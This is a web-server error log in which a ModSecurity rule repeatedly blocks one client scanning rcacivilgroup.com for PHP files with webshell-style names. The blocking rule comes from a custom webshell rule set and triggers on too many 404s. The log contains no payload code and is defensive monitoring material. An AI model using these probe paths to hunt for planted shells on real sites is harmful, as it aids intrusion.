[Sat Apr 11 04:14:51.553047 2026] [:error] [pid 33173:tid 33268] [client 4.245.205.135:45338] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adlaO68109xRDP2izWiHDgAAAJc"]
[Sat Apr 11 04:14:52.485064 2026] [:error] [pid 33288:tid 33303] [client 4.245.205.135:46079] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adlaPGJmwJFFPEgRHfHL_AAAAM0"]
[Sat Apr 11 04:14:53.420114 2026] [:error] [pid 33172:tid 33242] [client 4.245.205.135:23069] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adlaPTn2G0IJw5EZY9n7AQAAAFg"]
[Sat Apr 11 04:14:54.215632 2026] [:error] [pid 33173:tid 33268] [client 4.245.205.135:14533] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blqjs.php"] [unique_id "adlaPq8109xRDP2izWiHHQAAAJc"]
[Sat Apr 11 04:14:54.818783 2026] [:error] [pid 33288:tid 33293] [client 4.245.205.135:13506] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blqjs.php"] [unique_id "adlaPmJmwJFFPEgRHfHMCgAAAMM"]
[Sat Apr 11 04:14:55.442383 2026] [:error] [pid 33171:tid 33200] [client 4.245.205.135:32566] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blqjs.php"] [unique_id "adlaP7oqTMlo30hcVw8klgAAAA4"]
[Sat Apr 11 04:14:56.151686 2026] [:error] [pid 33171:tid 33195] [client 4.245.205.135:45320] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blqjs.php"] [unique_id "adlaQLoqTMlo30hcVw8kmQAAAAk"]
[Sat Apr 11 04:14:56.836786 2026] [:error] [pid 33288:tid 33299] [client 4.245.205.135:45357] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "adlaQGJmwJFFPEgRHfHMFgAAAMk"]
[Sat Apr 11 04:14:57.475515 2026] [:error] [pid 33288:tid 33297] [client 4.245.205.135:53534] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "adlaQWJmwJFFPEgRHfHMGAAAAMc"]
[Sat Apr 11 04:14:58.273951 2026] [:error] [pid 33173:tid 33262] [client 4.245.205.135:23053] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "adlaQq8109xRDP2izWiHJgAAAJE"]
[Sat Apr 11 04:14:58.882782 2026] [:error] [pid 33173:tid 33248] [client 4.245.205.135:46021] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "adlaQq8109xRDP2izWiHKAAAAIM"]
[Sat Apr 11 04:14:59.551175 2026] [:error] [pid 33288:tid 33303] [client 4.245.205.135:53003] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adlaQ2JmwJFFPEgRHfHMJgAAAM0"]
[Sat Apr 11 04:15:00.858612 2026] [:error] [pid 33171:tid 33205] [client 4.245.205.135:23066] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adlaRLoqTMlo30hcVw8knQAAABM"]
[Sat Apr 11 04:15:01.598749 2026] [:error] [pid 33173:tid 33257] [client 4.245.205.135:53549] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adlaRa8109xRDP2izWiHOwAAAIw"]
[Sat Apr 11 04:15:02.326312 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:28158] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adlaRmJmwJFFPEgRHfHMKgAAANM"]
[Sat Apr 11 04:15:02.861506 2026] [:error] [pid 33171:tid 33193] [client 4.245.205.135:18485] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlaRroqTMlo30hcVw8kowAAAAc"]
[Sat Apr 11 04:15:03.491449 2026] [:error] [pid 33173:tid 33260] [client 4.245.205.135:23070] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlaR68109xRDP2izWiHRgAAAI8"]
[Sat Apr 11 04:15:04.133455 2026] [:error] [pid 33171:tid 33195] [client 4.245.205.135:32125] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlaSLoqTMlo30hcVw8kpQAAAAk"]
[Sat Apr 11 04:15:04.898210 2026] [:error] [pid 33171:tid 33188] [client 4.245.205.135:27686] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlaSLoqTMlo30hcVw8krAAAAAI"]
[Sat Apr 11 04:15:05.534645 2026] [:error] [pid 33172:tid 33241] [client 4.245.205.135:32065] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2nzyHnOkEg.php"] [unique_id "adlaSTn2G0IJw5EZY9n7HwAAAFc"]
[Sat Apr 11 04:15:06.158120 2026] [:error] [pid 33173:tid 33262] [client 4.245.205.135:30824] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2nzyHnOkEg.php"] [unique_id "adlaSq8109xRDP2izWiHUQAAAJE"]
[Sat Apr 11 04:15:06.895266 2026] [:error] [pid 33173:tid 33259] [client 4.245.205.135:23054] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2nzyHnOkEg.php"] [unique_id "adlaSq8109xRDP2izWiHVwAAAI4"]
[Sat Apr 11 04:15:07.641107 2026] [:error] [pid 33288:tid 33304] [client 4.245.205.135:53558] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2nzyHnOkEg.php"] [unique_id "adlaS2JmwJFFPEgRHfHMNgAAAM4"]
[Sat Apr 11 04:15:08.363312 2026] [:error] [pid 33288:tid 33302] [client 4.245.205.135:42352] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oircv.php"] [unique_id "adlaTGJmwJFFPEgRHfHMOQAAAMw"]
[Sat Apr 11 04:15:09.155047 2026] [:error] [pid 33171:tid 33197] [client 4.245.205.135:2298] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oircv.php"] [unique_id "adlaTboqTMlo30hcVw8kvQAAAAs"]
[Sat Apr 11 04:15:09.735862 2026] [:error] [pid 33172:tid 33229] [client 4.245.205.135:53051] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oircv.php"] [unique_id "adlaTTn2G0IJw5EZY9n7LgAAAEs"]
[Sat Apr 11 04:15:10.346504 2026] [:error] [pid 33171:tid 33209] [client 4.245.205.135:15094] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oircv.php"] [unique_id "adlaTroqTMlo30hcVw8kvwAAABc"]
[Sat Apr 11 04:15:10.958537 2026] [:error] [pid 33173:tid 33246] [client 4.245.205.135:28135] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blnux.php"] [unique_id "adlaTq8109xRDP2izWiHZQAAAIE"]
[Sat Apr 11 04:15:11.736722 2026] [:error] [pid 33173:tid 33249] [client 4.245.205.135:52995] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blnux.php"] [unique_id "adlaT68109xRDP2izWiHaAAAAIQ"]
[Sat Apr 11 04:15:12.378019 2026] [:error] [pid 33171:tid 33194] [client 4.245.205.135:47249] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blnux.php"] [unique_id "adlaULoqTMlo30hcVw8kxwAAAAg"]
[Sat Apr 11 04:15:13.069698 2026] [:error] [pid 33288:tid 33305] [client 4.245.205.135:47233] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blnux.php"] [unique_id "adlaUWJmwJFFPEgRHfHMRQAAAM8"]
[Sat Apr 11 04:15:13.628075 2026] [:error] [pid 33172:tid 33241] [client 4.245.205.135:15089] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlaUTn2G0IJw5EZY9n7OgAAAFc"]
[Sat Apr 11 04:15:14.358329 2026] [:error] [pid 33172:tid 33226] [client 4.245.205.135:36563] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlaUjn2G0IJw5EZY9n7PwAAAEg"]
[Sat Apr 11 04:15:14.935975 2026] [:error] [pid 33172:tid 33242] [client 4.245.205.135:13547] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlaUjn2G0IJw5EZY9n7QAAAAFg"]
[Sat Apr 11 04:15:15.611180 2026] [:error] [pid 33172:tid 33232] [client 4.245.205.135:32098] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlaUzn2G0IJw5EZY9n7RgAAAE4"]
[Sat Apr 11 04:15:16.331673 2026] [:error] [pid 33172:tid 33237] [client 4.245.205.135:35960] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Spow_SRw.php"] [unique_id "adlaVDn2G0IJw5EZY9n7SwAAAFM"]
[Sat Apr 11 04:15:17.082137 2026] [:error] [pid 33171:tid 33209] [client 4.245.205.135:32550] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Spow_SRw.php"] [unique_id "adlaVboqTMlo30hcVw8k1gAAABc"]
[Sat Apr 11 04:15:17.620575 2026] [:error] [pid 33171:tid 33196] [client 4.245.205.135:18445] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Spow_SRw.php"] [unique_id "adlaVboqTMlo30hcVw8k2gAAAAo"]
[Sat Apr 11 04:15:18.258300 2026] [:error] [pid 33288:tid 33301] [client 4.245.205.135:27655] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Spow_SRw.php"] [unique_id "adlaVmJmwJFFPEgRHfHMVAAAAMs"]
[Sat Apr 11 04:15:19.268288 2026] [:error] [pid 33173:tid 33256] [client 4.245.205.135:27696] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adlaV68109xRDP2izWiHcwAAAIs"]
[Sat Apr 11 04:15:19.843652 2026] [:error] [pid 33172:tid 33235] [client 4.245.205.135:31585] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adlaVzn2G0IJw5EZY9n7VwAAAFE"]
[Sat Apr 11 04:15:20.442781 2026] [:error] [pid 33288:tid 33311] [client 4.245.205.135:18487] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adlaWGJmwJFFPEgRHfHMXgAAANU"]
[Sat Apr 11 04:15:21.418022 2026] [:error] [pid 33173:tid 33260] [client 4.245.205.135:18455] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adlaWa8109xRDP2izWiHegAAAI8"]
[Sat Apr 11 04:15:22.063598 2026] [:error] [pid 33173:tid 33262] [client 4.245.205.135:32117] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxivicLhot.php"] [unique_id "adlaWq8109xRDP2izWiHfAAAAJE"]
[Sat Apr 11 04:15:22.698992 2026] [:error] [pid 33173:tid 33268] [client 4.245.205.135:16031] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxivicLhot.php"] [unique_id "adlaWq8109xRDP2izWiHgQAAAJc"]
[Sat Apr 11 04:15:23.342999 2026] [:error] [pid 33171:tid 33201] [client 4.245.205.135:41710] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxivicLhot.php"] [unique_id "adlaW7oqTMlo30hcVw8k5gAAAA8"]
[Sat Apr 11 04:15:23.866646 2026] [:error] [pid 33172:tid 33223] [client 4.245.205.135:28866] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxivicLhot.php"] [unique_id "adlaWzn2G0IJw5EZY9n7YAAAAEU"]
[Sat Apr 11 04:15:39.681706 2026] [:error] [pid 33173:tid 33251] [client 4.245.205.135:28921] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adlaa68109xRDP2izWiHxQAAAIY"]
[Sat Apr 11 04:15:40.831347 2026] [:error] [pid 33288:tid 33310] [client 4.245.205.135:28873] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adlabGJmwJFFPEgRHfHMxQAAANQ"]
[Sat Apr 11 04:15:41.671118 2026] [:error] [pid 33173:tid 33249] [client 4.245.205.135:45355] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adlaba8109xRDP2izWiHyQAAAIQ"]
[Sat Apr 11 04:15:42.341078 2026] [:error] [pid 33172:tid 33218] [client 4.245.205.135:18483] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adlabjn2G0IJw5EZY9n7hwAAAEA"]
[Sat Apr 11 04:15:42.984498 2026] [:error] [pid 33288:tid 33298] [client 4.245.205.135:15063] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlabmJmwJFFPEgRHfHMzwAAAMg"]
[Sat Apr 11 04:15:44.028435 2026] [:error] [pid 33172:tid 33227] [client 4.245.205.135:31602] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlacDn2G0IJw5EZY9n7kQAAAEk"]
[Sat Apr 11 04:15:45.078891 2026] [:error] [pid 33288:tid 33302] [client 4.245.205.135:2337] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlacWJmwJFFPEgRHfHM3AAAAMw"]
[Sat Apr 11 04:15:45.942062 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:2311] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlacWJmwJFFPEgRHfHM6wAAANM"]
